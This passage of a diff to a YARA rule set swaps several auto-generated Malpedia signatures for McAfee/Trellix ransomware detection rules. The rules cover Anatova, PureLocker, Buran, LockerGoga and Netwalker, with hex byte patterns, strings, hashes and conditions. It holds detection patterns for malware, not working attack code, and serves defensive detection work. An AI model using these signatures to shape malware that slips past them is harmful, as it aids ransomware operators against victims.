+		$oj5 = { ff d0 48 89 45 e0 48 85 c0 0f 84 68 ff ff ff 4c }
+		$oj6 = { 85 db 75 09 48 8b 0e ff 15 34 8f 00 00 48 8b 6c }
+		$ok1 = { 74 0c c7 46 18 c8 4a 40 00 e9 34 f0 ff ff 8b 43 }
+		$ok2 = { 68 f8 6c 40 00 8d 95 e4 f9 ff ff 52 ff 15 34 40 }
+		$ok3 = { e9 ef 05 00 00 6a 10 58 3b f8 73 30 8b 45 f8 85 }
 
 	condition:
-		7 of them and filesize <2023424
+		uint16(0)==0x5a4d and filesize <1000KB and ( all of ($s*) and all of ($og*)) or all of ($oh*) or all of ($oj*) or all of ($ok*)
 }
-rule MALPEDIA_Win_Gcleaner_Auto : FILE
+rule TRELLIX_ARC_Anatova_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6f27809a-4a1b-5d62-97c7-de2eeddc46d9"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gcleaner_auto.yar#L1-L118"
-		license_url = "N/A"
-		logic_hash = "7aee09652b701d76a6e86128872cf2cc44b3fc03358e24bd02f64455f78cd161"
+		description = "Rule to detect the Anatova Ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "6e3205aa-42e4-5449-877e-37494cdd096b"
+		date = "2019-01-22"
+		modified = "2020-08-14"
+		reference = "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Anatova.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "97fb79ca6fc5d24384bf5ae3d01bf5e77f1d2c0716968681e79c097a7d95fb93"
+		logic_hash = "4fce15ad0ef2d3cb39f6092677f117308f847815cb2a5a491290a1f9d09776df"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Anatova"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8d8d70feffff 8d45b0 0f4345b0 51 50 }
-		$sequence_1 = { 8bd0 c645fc04 8d4dd8 e8???????? 83c410 }
-		$sequence_2 = { 660fd64010 8345e418 eb10 8d4dc8 }
-		$sequence_3 = { 660fd64610 c742e000000000 c742e40f000000 c642d000 8b42e8 894618 }
-		$sequence_4 = { e8???????? 8d8d60ffffff e8???????? 6a00 6a00 }
-		$sequence_5 = { c642d000 8b42e8 894618 8d42ec 83c61c 3bc7 }
-		$sequence_6 = { eb10 8d4dc8 51 50 }
-		$sequence_7 = { 7438 8035????????2e 8035????????2e 8035????????2e 8035????????2e 8035????????2e 8035????????2e }
-		$sequence_8 = { 52 51 e8???????? 83c408 85ff 0f8807010000 }
-		$sequence_9 = { c645fc02 83fa10 722c 8b4dc8 42 8bc1 }
+		$regex = /anatova[0-9]@tutanota.com/
 
 	condition:
-		7 of them and filesize <540672
+		uint16(0)==0x5a4d and filesize <2000KB and $regex
 }
-rule MALPEDIA_Win_Pushdo_Auto : FILE
+rule TRELLIX_ARC_Purelocker_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ad774ebd-627a-5818-9f5f-1b251e52fd7e"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pushdo_auto.yar#L1-L208"
-		license_url = "N/A"
-		logic_hash = "daece01a3a8065197470b42fa0923405b1cfbd8c63e62002ad7e9af51850eb51"
+		description = "Rule to detect PureLocker ransomware based on binary sequences"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "3d945869-9faa-59de-add6-d664a7beef6f"
+		date = "2019-11-13"
+		modified = "2020-08-14"
+		reference = "https://www.pandasecurity.com/mediacenter/security/purelocker-ransomware-servers/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_PureLocker.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "9f39f0ef922023a79919f5b41a7acda6c08373af8f5fd2d4c4dcaca6146970ea"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/PureLocker"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 50 ff15???????? 33d2 b9ffff0000 }
-		$sequence_1 = { f7f9 33c9 ba88020000 f7e2 0f90c1 }
-		$sequence_2 = { 8b45fc b10b d3c0 61 }
-		$sequence_3 = { 81ec18010000 6800010000 6a00 8d85f0feffff }
-		$sequence_4 = { 736a 8b45fc 0fbe8c05f0feffff 038de8feffff 8b45fc }
-		$sequence_5 = { 0fbe1410 03ca 81e1ff000000 898de8feffff 8b85e8feffff 8a8c05f0feffff }
-		$sequence_6 = { c785e8feffff00000000 c745f400000000 c745fc00000000 eb09 8b55fc 83c201 8955fc }
-		$sequence_7 = { 33d1 8b450c 0345fc 8810 e9???????? }
-		$sequence_8 = { e8???????? 83c41c 85c0 7503 8975fc }
-		$sequence_9 = { 53 53 894808 8b4e14 50 }
-		$sequence_10 = { 53 6a18 ffd6 ffb5f4f7ffff 8d85f4fbffff 50 }
-		$sequence_11 = { 0fb6c3 6a03 33d2 5f f7f7 }
-		$sequence_12 = { 8d45ec 50 8d4598 50 57 57 }
-		$sequence_13 = { 52 8d8588fbffff 50 e8???????? }
-		$sequence_14 = { a1???????? 6bc00a 057f0a0000 33d2 b9a1190000 f7f1 }
-		$sequence_15 = { e8???????? 89859cd3ffff 83bd9cd3ffff00 0f8ea0000000 8d8550d3ffff 50 }
-		$sequence_16 = { 3b4dd8 7f28 8b55e4 3b55d8 0f85cf000000 8b45d8 }
-		$sequence_17 = { 81bd5cfeffff70170000 0f83e2010000 8b855cfeffff 33d2 b964000000 f7f1 85d2 }
-		$sequence_18 = { ff55e4 8945c8 eb11 8b4dd4 }
-		$sequence_19 = { 83c404 c1e002 8945e4 8b4de4 }
-		$sequence_20 = { 50 8b4dfc 51 e8???????? 85c0 7c3b 8b55f0 }
+		$sequence = { 31??FF????E8????????83????5BC2????555357BA????????83????C7????????????4A75??E8????????8B????????????8D????E8????????8B????????????8D??????E8????????FF????8D??????????59E8????????75??FF??????8D??????????59E8????????75??EB??B8????????EB??31??21??74??31??0FBE??E9????????8D??????C7????????????C7????????????66??????????FF??????E8????????89??????52E8????????5A5052E8????????5A50FF??????E8????????8D????????????50E8????????8B??????01??89??????8B??????83????53E8????????89??????8B??????21??75??31??0FBE??E9????????68????????68????????FF????????????FF??????E8????????FF????E8????????89??01??89????????????8B????????????83????53E8????????89????????????8B????????????21??75??FF??????E8????????31??0FBE??E9????????68????????68????????FF??????FF????????????E8????????0FBE??????????83????0F85????????8B??????83????53E8????????89????????????8B????????????21??75??E9????????68????????68????????FF??????FF????????????E8????????FF??????E8????????68????????8D??????508D??????5068????????68????????68????????31??5068????????68????????FF????????????FF????????????68????????E8????????89??????8B??????21??75??31??0FBE??E9????????8D??????FF????E8????????8D??????FF????E8????????FF????????????E8????????FF????????????E8????????B8????????0FBE??E9????????EB??68????????8D??????508D??????5068????????68????????68????????31??5068????????68????????FF??????FF????????????68????????E8????????89??????8B??????21??75??31??0FBE??E9????????8D??????508D??????FF????E8????????89????????????FF??????E8????????C7??????????????FF????????????E8????????C7????????????????????C7????????????????????8B????????????21??74??E9????????0FBE????????????83????75??68????????68????????8D????????????5068????????8D??????FF????E8????????89??????EB??68????????68????????8D????????????5068????????8D??????FF????E8????????89??????8B??????21??74??E9????????0FBE????????????83????75??8D????????????8D????FF????FF??8F??????8F??????EB??8D????????????8B????9952508F??????8F??????FF??????FF??????5B5F83????7F??7C??83????77??31??EB??B8????????09??75??E9????????0FBE????????????83????75??68????????E8????????89????????????8B????????????21??75??E9????????68????????68????????68????????FF????????????FF????????????FF????????????8D??????FF????E8????????89????????????EB??68????????E8????????89??????8B??????21??75??E9????????68????????68????????FF??????8B????????????508D??????FF????E8????????89????????????8B????????????21??74??E9????????0FBE????????????83????75??8B????????????21??75??E9????????8B????????????8D????FF????FF??5B5F83????75??83????74??31??EB??B8????????09??74??E9????????EB??8B??????21??75??E9????????8B??????8B????21??75??E9????????0FBE????????????83????75??C7????????????????????FF????????????E8????????89????????????C7????????????????????68????????68????????FF????????????FF????????????8B????????????8D????FF????FF??8D??????FF????E8????????89????????????EB??C7????????????????????FF????????????E8????????89????????????C7????????????????????68????????FF????????????FF????????????8B????????????FF????8D??????FF????E8????????89????????????8B????????????21??74??E9????????0FBE????????????83????75??8B????????????21??7E??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????EB??8B??????21??7E??68????????68????????FF??????E8????????FF??????E8????????C7??????????????0FBE????????????83????75??8B????????????21??75??E9????????8B????????????8D????89??21??75??E9????????EB??8B????????????21??75??E9????????8B????????????8D????89??21??75??E9????????8B??????83????53E8????????89????????????8B????????????21??75??E9????????68????????68????????FF??????FF????????????E8????????0FBE????????????83????75??68????????68????????FF??????FF????????????8B????????????8D????FF????FF??8D??????FF????E8????????89????????????EB??68????????FF??????FF????????????8B????????????FF????8D??????FF????E8????????89????????????FF????????????E8????????C7????????????????????0FBE????????????83????75??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????EB??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????8B????????????21??74??EB??68????????8D??????FF????E8????????89????????????8B????????????21??74??EB??0FBE????????????83????75??68????????31??508D??????FF????E8????????C6????????8D??????FF????E8????????8D??????FF????E8????????0FBE??????0FBE??E9????????8B????????????21??7E??FF????????????E8????????8B????????????21??7E??FF????????????E8????????8B????????????21??7E??FF????????????E8????????8B??????21??7E??FF??????E8????????8B????????????21??7E??FF????????????E8????????8D??????8B????21??7E??68????????8D??????FF????E8????????8D??????8B????21??7E??8D??????FF????E8????????8D??????8B????21??7E??8D??????FF????E8????????31??0FBE??EB??31??FF????E8????????FF????????????E8????????FF??????E8????????81??????????5F5B5DC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????31??C2????5553BA????????83????C7????????????4A75??E8????????8B??????8D????E8????????83????????????0F84????????FF????E8????????89??01??89??????8B??????83????53E8????????89??????83????????74??68????????68????????FF??????FF??????E8????????89??3B??????75??8B??????83????538D??????5866??????FF??????5866??????FF??????5889????FF??????????5889??????8D??????508D??????5068????????68????????FF??????89??21??75??FF??????5889??????FF??????E8????????8B??????EB??31??FF????E8????????83????5B5DC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????31??5050E8????????FF??????E8????????52E8????????5A50FF??????????8D??????????50E8????????8D??????50E8????????52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????8D??????50E8????????FF????8D??????????59E8????????74??52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????588B??????52E8????????8D??????50E8????????EB??8B????52E8????????5A5052E8????????8B??????52E8????????8D??????50E8????????8B????52E8????????5A5052E8????????5850E8????????5A01??EB??E8????????66????????FF????E8????????FF??????E8????????83????C331??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????555331??50505050E8????????C7??????????????FF??????E8????????89????8B????21??75??31??EB??8D??????50FF??????FF??????68????????E8????????89??21??75??8B????FF????5889??????68????????68????????FF??????E8????????FF????E8????????8B??????EB??31??83????5B5DC35331??50505050E8????????8B??????8D????E8????????FF????E8????????89??????8B??????83????53E8????????89??????83????????74??68????????FF??????FF??????FF??????E8????????21??74??FF??????FF??????68????????E8????????89??F7??89??????FF??????E8????????8B??????EB??31??FF????E8????????83????5BC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????5553BA????????83????C7????????????4A75??E8????????8B??????8D????E8????????FF????8D??????????59E8????????74??31??E9????????52E8????????5A50FF??????????8D??????????50E8????????8B??????52E8????????8D??????50E8????????FF??????E8????????89??01??89??????8B??????83????53E8????????89??????83????????0F84????????68????????68????????FF??????FF??????E8????????89??3B??????0F85????????FF??????8D??????5866??????8B??????83????535866??????FF??????5889????C7??????????????8D??????????8D??????E8????????8D??????C7????????????C7????????????8D??????505889????68????????68????????8D??????508D??????5068????????8D??????50E8????????89??21??75??8B??????21??7E??B8????????EB??31??21??74??FF??????E8????????C7??????????????68????????68????????8D??????508D??????50FF??????E8????????89??21??75??8D??????FF????5889??????FF??????E8????????8B??????21??7E??FF??????E8????????8B??????EB??31??FF??????E8????????FF????E8????????83????5B5DC2????555357BA????????83????C7???????????? }
 
 	condition:
-		7 of them and filesize <163840
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule MALPEDIA_Win_Phoreal_Auto : FILE
+rule TRELLIX_ARC_Buran_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "edae0032-d1e1-5b3c-8d3f-ebef8f58d4b7"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.phoreal_auto.yar#L1-L126"
-		license_url = "N/A"
-		logic_hash = "d8f5fe4e88399cfa18864e41db820daba4b617ffb107b587cb04424a8ab682db"
+		description = "Rule to detect Buran ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "b96c0e5c-dce2-559d-9623-81e8a9a322f2"
+		date = "2019-11-05"
+		modified = "2020-08-14"
+		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/buran-ransomware-the-evolution-of-vegalocker/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Buran.yar#L1-L27"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "056cf2e6aca22876fb8bfafc14a3be0e42124a26edab42a6f7a928c87fb8fff4"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Buran"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8d4c2414 51 8b4b04 8d542410 52 8d442418 50 }
-		$sequence_1 = { 8b570c 8d442440 6a00 50 895350 }
-		$sequence_2 = { 56 57 33ff 8bf0 8d4701 }
-		$sequence_3 = { 75c4 8d8de4fdffff c645fc02 e8???????? bf10000000 397de4 720c }
-		$sequence_4 = { 8b54245c 51 8b4c245c 52 8b542458 51 48 }
-		$sequence_5 = { 03c3 83c9ff 2bc8 3bca }
-		$sequence_6 = { 8b7510 b90e000000 f3a5 5e 5f 8be5 5d }
-		$sequence_7 = { 6a01 6a00 6a00 51 50 ff15???????? 85c0 }
-		$sequence_8 = { 52 8d434e 50 8d434b 8d534d 8d4b4c 50 }
-		$sequence_9 = { 894de0 894de4 8b8d78fdffff 8d1447 51 52 }
+		$s1 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? C6 ?? ?? ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$s2 = { 4? 33 ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? FF 5? ?? FF 7? ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 74 }
+		$s3 = { A1 ?? ?? ?? ?? 99 5? 5? A1 ?? ?? ?? ?? 99 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? ?? 13 ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? ?? 13 ?? ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 99 5? 5? 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 03 ?? ?? ?? 13 ?? ?? ?? 89 ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 4? 99 89 ?? ?? 89 ?? ?? FF 7? ?? FF 7? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 3B ?? ?? 75 }
+		$s4 = { 5? 5? 5? 5? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 8D ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$s5 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 89 ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? 5? 5? A1 ?? ?? ?? ?? 99 E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? 8B ?? 4? 5? 8B ?? ?? 8B ?? 83 ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 8C }
 
 	condition:
-		7 of them and filesize <622592
+		uint16(0)==0x5a4d and all of them
 }
-rule MALPEDIA_Win_Nightclub_Auto : FILE
+rule TRELLIX_ARC_Lockergogaransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fe7b22ba-512f-5e91-8935-479f32d64f06"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightclub"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nightclub_auto.yar#L1-L132"
-		license_url = "N/A"
-		logic_hash = "3d19b2fe0d45f47ba38d0f6076660c3269a68cbecd47ee885f31f66a44204ee7"
+		description = "LockerGoga Ransomware"
+		author = "Christiaan Beek - McAfee ATR team"
+		id = "bdf5da34-adf0-5731-820f-96511e647a83"
+		date = "2019-03-20"
+		modified = "2020-08-14"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_LockerGoga.yar#L1-L36"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "ba15c27f26265f4b063b65654e9d7c248d0d651919fafb68cb4765d1e057f93f"
+		logic_hash = "165fa0fa044b2e0d2344626c2064162f23e13dc17310a772b703dbbe9457bd99"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/LockerGoga"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { ff4808 83c404 3b7514 75b4 5f 5b 8b450c }
-		$sequence_1 = { 8d4dd0 c645f300 ff15???????? 8b4d08 8d45c0 50 51 }
-		$sequence_2 = { 8d75bc e8???????? 8d75e0 e8???????? eb33 8b55bc 8b7d08 }
-		$sequence_3 = { 8da42400000000 8a4701 47 84c0 75f8 b90b000000 be???????? }
-		$sequence_4 = { 83c404 6a00 56 53 8bf8 ff15???????? }
-		$sequence_5 = { 85c0 7505 a1???????? 8bc8 8bff 8a10 40 }
-		$sequence_6 = { 83c408 8bc8 ff15???????? 5f 5e 8be5 5d }
-		$sequence_7 = { 5b b87fe0077e f7ef c1fa08 8bfa c1ef1f 03fa }
-		$sequence_8 = { 8b45f0 83c010 83c310 8945f0 3bc6 75dc }
-		$sequence_9 = { c645f200 ff15???????? c745e001000000 85db 0f848c010000 8b15???????? 8b450c }
+		$1 = "boost::interprocess::spin_recursive_mutex recursive lock overflow" fullword ascii
+		$2 = ".?AU?$error_info_injector@Usync_queue_is_closed@concurrent@boost@@@exception_detail@boost@@" fullword ascii
+		$3 = ".?AV?$CipherModeFinalTemplate_CipherHolder@V?$BlockCipherFinal@$00VDec@RC6@CryptoPP@@@CryptoPP@@VCBC_Decryption@2@@CryptoPP@@" fullword ascii
+		$4 = "?http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" fullword ascii
+		$5 = "cipher.exe" fullword ascii
+		$6 = ".?AU?$placement_destroy@Utrace_queue@@@ipcdetail@interprocess@boost@@" fullword ascii
+		$7 = "3http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" fullword ascii
+		$8 = "CreateProcess failed" fullword ascii
+		$9 = "boost::dll::shared_library::load() failed" fullword ascii
+		$op1 = { 8b df 83 cb 0f 81 fb ff ff ff 7f 76 07 bb ff ff }
+		$op2 = { 8b df 83 cb 0f 81 fb ff ff ff 7f 76 07 bb ff ff }
 
 	condition:
-		7 of them and filesize <247808
+		( uint16(0)==0x5a4d and filesize <2000KB and (6 of them ) and all of ($op*)) or ( all of them )
 }
-rule MALPEDIA_Win_Sfile_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Netwalker_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2a05bff3-25b7-5fd3-9a80-0b0955cab792"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sfile"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sfile_auto.yar#L1-L113"
-		license_url = "N/A"
-		logic_hash = "b6be99a284bb08bd87d7e6d12a69d9966762868a0d094add32f60ffa636331bd"
+		description = "Rule to detect Netwalker ransomware"
+		author = "McAfee ATR Team"
+		id = "6fe75a64-77b8-5cb8-9365-a5336d4d1617"
+		date = "2020-03-30"
+		modified = "2020-11-20"
+		reference = "https://www.ccn-cert.cni.es/comunicacion-eventos/comunicados-ccn-cert/9802-publicado-un-informe-de-codigo-danino-sobre-netwalker.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_netwalker.yar#L3-L28"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "11da4b57f8d9ed1fdf053053a51870af2cbf4062cc1340087ee70c3e92a1baf6"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		note = "The rule doesn't detect the samples packed with UPX"
 
 	strings:
-		$sequence_0 = { 50 e8???????? 8b4d08 8b5144 }
-		$sequence_1 = { 8b55fc 83c201 8955fc 837dfc08 7d12 }
